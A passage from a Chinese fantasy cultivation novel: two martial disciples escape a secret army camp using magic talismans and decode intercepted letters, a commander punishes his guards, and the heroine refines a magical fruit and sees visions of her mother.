以至于解决了追击骑兵的江元郁返回木桥时,隔桥对望的着甲小将都不知自己是否该下令继续追击。
“师妹你这是怎么做到的。”江元郁也很惊讶,他这么着急忙慌的解决了那些骑兵便立刻返回,不就是担心孟归芸根本搞不定后面的追兵么,可谁能想到孟归芸竟然有“一女当关,万夫莫开”的能耐。
“我用了师父给我的符箓啊。”依然隐身的孟归芸并未出声,还是通过双鱼玉佩给江元郁传音。
“我知道,可是什么符箓能造成这种效果...”江元郁倒不是没有见过符箓,身为宏安老道的前“关门弟子”,老道士教他的可不止是武道,自然也教过他道术符箓之类的知识,甚至带他见识过修炼者之间斗法。
“狂风符箓,掐动手印,注入元气之后,可以引动狂风。注入的元气越多,风力也就越强劲。”孟归芸语气平淡,“化骨符箓,注入元气可以产生毒烟,可以让吸入者手脚瘫软,吸入的时间够长,就会更加瘫软,甚至无法动用元气。”
“两者结合使用,不就可以造成这种效果么。”孟归芸还以为自己的使用方法有什么不对。
“师父没有教过师妹你如何使用符箓么?”
“没有,要不是今天要探查此地,我都还没想起师父给我的符箓袋子。”
得,江元郁已经大概知道是怎么回事了,自己是代入了惯性思维。
之前自己所见符箓使用方法,都是修炼者之间斗法用的到,你会使用什么符箓,我自有其他方法破除,大多是见招拆招。
而且天地大变之后,制作符箓的材料日渐减少,很少有人将之用在对付普通人身上,因此反而用的会比较少。
可孟归芸并不知符箓的珍贵,使用起来自然也就没有顾虑,她觉得怎么使用更合适,便就用了。
至于为什么能造成一地的士兵瘫软在地,应该普通士兵的体质根本无法和修炼者比拟的缘故,对修炼者构不成太大威胁的化骨符箓的毒烟,即使是风把毒烟吹散了不少,也够他们难受的。
“看对面那名小将的样子,应该在没弄清楚原因前不敢妄动了,那我们便走吧。”江元郁摇摇头,不再多想准备撤退。
“师兄再等我一下。”
言罢,隐身的孟归芸轻步绕过桥前的士兵,在木桥端头的两根立柱下,放了两枚符箓。
旁边
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跟着的江元郁眼尖,认出来那是火焰符箓,还未细想,孟归芸已经开始掐动手印,只见木桥的立柱上突然冒出了火焰,而且火势蔓延极快,不到几个呼吸,已经将木桥两边的缆绳一并引燃。
“奸贼!竟然毁桥!”桥对面的着甲小将大狠,厉声喝道。他看不见孟归芸,能见到的只是江元郁走到木桥边,木桥便开始起火,自然以为是江元郁干的。
江元郁有心解释两句,但是嘴巴朝着对岸张合几次,最终还是自己认下了。骂就骂吧,又不会少一块肉。
“好了,现在我们可以安全撤离了。”
“好,听师妹的。”江元郁的声音有点闷闷,逗的孟归芸轻笑一声,两人转身朝着密道石门奔去。
“奸贼,奸贼!我李培风必定与你势不两立。”对岸的着甲小将仍在喊叫着。
出了密道石门的孟归芸两人,回到之前系马的林子取了马,江元郁正要上马的时候,被孟归芸叫住了。
“师兄,等一下。现在我们烧了木桥,后面的人想追来应该还需要些时间。”孟归芸从身上拿出了三个藏着的信封,递给了江元郁道,”我之前说过找到了一些东西,你看看有没有什么用,我对这些不是太懂。”
江元郁接过信件的时候,脸上还有点疑惑。但随着他开始阅读之后,脸上的表情就开始了变幻,迷茫,愤怒,不解,到最后的哈哈哈大笑,犹如变脸一般,孟归芸还未见过人能在短时间脸上能有这么多的表情变化,不自觉脸上就化出笑来。
“师妹,你找到的这三封信简直有大用啊。”江元郁心中的激动难以言喻,嘴里快速的说道,“这第一封信,是蛮汉军现在的统领赵吉承写给这个大营的主事者的,他在信中问这主事者,之前约好的武器装备是否能够如期准备好,此事关系他们蛮汉军攻打南疆城的成败。”
“我倒是在落款处看到吉承二者,但是不知此人是什么蛮汉军的统领,而且信中也并未提到攻打南疆城的事啊。”孟归芸很疑惑,开口问道。
“这是蛮族最近十几年方才学会的密信手段,乃是学自我大成国。你只需把信倒过来,从最后一行的第一个字,连到第一行的最后一个字,自然就明白了。”江元郁把那封信又递给孟归芸,并且指点着她如何看。
“原来如此。”孟归芸惊叹一声,随即真诚的感慨道,“师兄你竟然连这都知道。”
“哪里哪里,我不过是恰巧知道而已。”江元郁的嘴都快咧到耳根处去了,毕竟师妹夸自己的机会确实难得。
“至于第二封信,内容师妹你定然已知道了。但你可能不知,此信是来自京城,告诉此地的主事者尽快把兵练好,而且要藏好这山谷的秘密。”
“这第三封么,就更有意思了,竟然是南疆城一些富户豪门联名的投名状。看来等我们回到南疆城,定然有的忙了。”说到最后一封信的时候,江元郁脸上的笑意已经完全收敛,反而显得有些冷酷。
“我们?”
“当然了,我需要师妹你的帮助。”
42. 南疆战事(七)
那边孟归芸二人往南疆城赶的同时,私军营地这边负责的头目们也聚在了一起商议今晚的事,为了以防万一,他们选择的地点是中营大帐。
一名身着玄色全甲的汉子坐在上首,虎头盔将其面部几乎都遮掩了,让人看不清长相,但其气势就压得在场众人心中惴惴,面色凝重。
“都说说吧,刺客从哪里来?各处又有何损失?”厚重的声音打破了营帐中的沉默。
“将军,这刺客未留下太多的踪迹,但其初次现身则是在拙恒苑内,被已身亡的罗副指挥使撞破形迹。”一名军中幕僚打扮的无须书生站起来,先是朝着上方拱手一礼,才出声道。
拙恒苑就是院落群内最深处的那座院子,罗副指挥使则是死在江元郁手下的那浓眉汉子。
“仔细说说。”玄甲汉子厚重的声音再次响起。
“是。据罗夫人的描述,罗副指挥使接待了南边来的朋友,醉得比较厉害,回到卧房中躺下不到一个时辰,刺客便出现了。当时是刺客撞上了屋内的凳子发出了声响,才将罗副指挥使和罗夫人惊醒。”
“但他二人刚醒来的时候,并未看到刺客的身影,还是罗副指挥使拔剑刺向声音响起之处时,刺客的身影才像是凭空出现一般。后来罗夫人跑向外面求救,各处才听到响动组织了人员前往围堵刺客。”无须书生说完便重新坐下,不再言语。
“如果我没记错的话,按照规矩,每晚除密道石门处有两队人轮班看守外,工坊处应该有一什军士看守,库房处也应有一什军士看守,大营辕门处应有一屯军士看守,院落那边应该有三班三什军士巡视。为何这些看守之人无有发现?”玄甲汉子再度出声,语气极为平淡。
但此话刚落,下方左侧第二席的一人便慌忙起身,快步到中/央空地处双/腿并膝跪下道,“将军容禀,是罗副指挥使大人说,不能让南边来的朋友看到我们对此处的看重,因此安排今晚饮宴的时候撤掉了各处守卫。”
“是么,军中律令的更改乃是大事,此等大事我竟然不知。”
“罗副指挥使已经亡故,倒是难以分辨此事是否乃他所下令。这样吧,你替本将军下去一趟,跟罗副指挥使说一声,本将军等他夜里托梦,告诉本将军此事到底是怎么一回事,可好。”
玄甲汉子语气仍旧平淡,没有太大/波动,可这内容确实吓得下方跪着的人连连磕头,口中不住的念叨“将军饶命”。
“来人,送他下去见罗副指挥使。”玄甲汉子下令道,“此外,今晚本该负责巡逻守卫的人马,也都一并送下去吧,让他们给罗副指挥使做个伴。”
话音刚落,帐外便进来两名魁梧军士,拖着已经涕泗横流的跪着那人朝外走去,所过之处隐约有尿骚味飘散。
左右两边坐着的人皆是如坐针毡。
“那各处的损失呢?”营帐内静默了片刻,方才听到玄甲汉子的声音再度响起。
“工坊、库房、大营内各处已经排查,均未发现有何物品丢失。院落那边,罗夫人说,南边朋友送给罗副指挥使的星辰朱果被盗走。至于人员损失,追击刺客的时候,隶属于院落那边的护卫死了二十六名,加罗副指挥使一人。兵营这边追击的步兵,无人员死亡,只不过追到木桥边时,因怪风落水了十余人,有近百人中毒。”无须书生再度站起身,语气恭敬的说道。
“哈哈哈哈。好笑,好笑!”上方的玄甲汉子发出一阵狂笑,“简直是太好笑了,一个副指挥使,化劲高手,就这样莫名其妙的死了,死在本该有重重把守的地方。”
“而且这把守的人员,还是他亲自撤掉的。你们说,好不好笑。哈哈哈哈”
上方的玄甲汉子笑声越来越大,下方左右两边列坐的众人脸色却更加难看。
“怎么,你们都不觉得好笑么。”玄甲汉子的笑声戛然而止,朝着下方众人问道。
“哈哈,哈哈哈。是挺好笑的,是挺好笑的。”
“对对对,好笑,非常好笑。”下方众人连忙咧开嘴,可怎么看也不像是真的在笑。
“够了。”冷眼的看着下方众人皮笑肉不笑的笑了半天,玄甲汉子方才喊了一声。
“褚先生,有劳将今晚之事写成军情,不要做任何的添加,立刻快马送回京城交由大人。其余各部各处,在京城的指示下来前,一切按照规定行事,任何人不得擅自更改,违令者,军法处置!”玄甲汉子说完,便径直离开了帅座。
玄甲汉子起身的同时,下方所有人立马起身,躬身而立,待玄甲汉子走出了大帐数十息后,方才恢复直身,才有人刚伸手摸了摸自己一背的冷汗,陆续走出大帐。
“褚先生,您说,将军到底是何意思,我怎么没有听明白啊。”看着其他人几乎走掉,着甲小将李培风凑到无须书生褚先生身边,挠头问道。
“刚刚将军不是已经说的很清楚了么,难道李将军没听清。”褚先生笑着回了一声,也动身朝着帐外走去。
李培风一头雾水,将军是说了,每个字都能听清,但是连在一起,自己却怎么感觉听不明白呢,而且刺客这事现在算完了还是怎样。
李培风带着疑惑,走出了大帐。
天色还未完全亮起,南疆城的东城门处,便有老百姓在此处排起了队,等待缴费查验路引后进城。
刚抵达城外的孟归芸二人见此情景,便绕开了,前往了一处人迹稀少的城墙根。江元郁从怀里拿出一个小玩意,嘴对着吹了一下,不到十息,从城墙上便跳下来一人。
“见过主子。”原来是暗一。
“不用多礼了,我和师妹要马上进城,你把马带走安置好,城门开启后再进城来找我们汇合。”江元郁将缰绳递给了暗一,开口吩咐道。
“是。”
“师妹,我们走吧。”江元郁转头看向孟归芸道。
待得孟归芸点头后,江元郁探手揽过孟归芸,一飞冲天,带着她越过了城墙,落地之后径直朝着客栈那边而去。
和早已等着的莲夏报了平安后,让她在屋外帮忙守着,孟归芸便进了房间,在床榻上摆好修炼姿势,拿出了半途中江元郁给的
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星辰朱果。
盯着这星辰朱果看了半天,又在脑子里回忆确认了江元郁所传授给自己的炼化方法,一口就将星辰朱果吞了进去。
也是幸好莲夏没看着,不然她肯定要好奇这么大个果子是怎么一口吞下的。孟归芸突然冒过这样一个念头,随后运转明心诀,收摄杂念,开始炼化这意外获得的天材地宝。
孟归芸能感受到腹中四处发散的星辰朱果灵力,在自己的引导下,凝成一股,沿着师门功法的运行脉络而行,冲击沿途尚未开启的窍穴。
初时极为顺利,冲击个十余次便能冲开一个窍穴,不过一柱香的时间,孟归芸就冲开了二十多个窍穴。但随着时间的推移,星辰朱果的灵力开始减少,加之后续的窍穴更加隐蔽,分神寻找之下,对星辰朱果灵力的掌控便弱了些,一时间孟归芸有点不知哪头更重要了,气息开始有些散乱。
肉眼看不见的识海深处,开始渗出一些淡淡的黑雾,越来越多,引得孟归芸脑中幻象丛生。
开始是在一个小院子里,一个五六岁的小女孩蹲在草坪边拿着小铲子似在除草,身边是一名素雅温柔的妇人似在指导她如何分辨杂草和花朵的根茎,一/大一小的身影贴在一块,显得无比和谐温馨。
不知过了多久,小女孩似乎听见了有人在呼喊自己,孟归芸却听不见任何的声音。只能看到小女孩立马转身,开心的立马丢掉了手中的小铲子,迈动小小的双脚朝着呼喊自己的人奔去。引得远方喊叫的人连忙出声,身后的妇人也连忙起身,从两人的口型孟归芸能大概分辨出,两人似乎都是说着一样的话,让小女孩慢点跑,别摔着。
等到妇人来到小女孩身边时,小女孩已经被来人抱在怀中,来人嘴里快速的说着什么,逗得小女孩笑容满面,小女孩手中也多了一个小篮子。孟归芸极力想看清来人是谁,却始终没法看清,看着是一名儒雅男子。只能看到男子用头抵着小女孩的头,小女孩也用头抵着他,似在作抵角游戏,不时发出开心的笑声。
看到妇人来了之后,小女孩身子往后一仰,在男子的怀抱中转过身子,将手中的小篮子献宝似的递给了妇人。妇人接过便看清篮子中是些精致的糕点,朝着男子说着什么。
孟归芸极力分辨着她的口型,像是在说着吃太多甜食对小孩子牙齿不好,惹得男子连忙放下小女孩,做着拱手赔罪状,又逗的小女孩和妇人齐齐发笑。
画面连变,场景和人物均在变化,但孟归芸却能很轻松的分辨出主要人物还是小女孩、素雅妇人、儒雅男子,尽管三人的面貌已经开始变化。
开始时多是三人同框,有在客厅,有在书房,有在卧房,也有在山野郊外,充满欢声笑语与温馨之感。
后来多是小女孩和素雅妇人在一起,儒雅男子时不时出现片刻,又匆匆离去。
再后来便是小女孩独自一人,场景也很固定,应该就是她的闺房。素雅妇人偶尔会出现,跟小女孩说些话,有时咳嗽几声便会离开。
“母亲...”孟归芸眼角流出一滴清泪,口中呢/喃。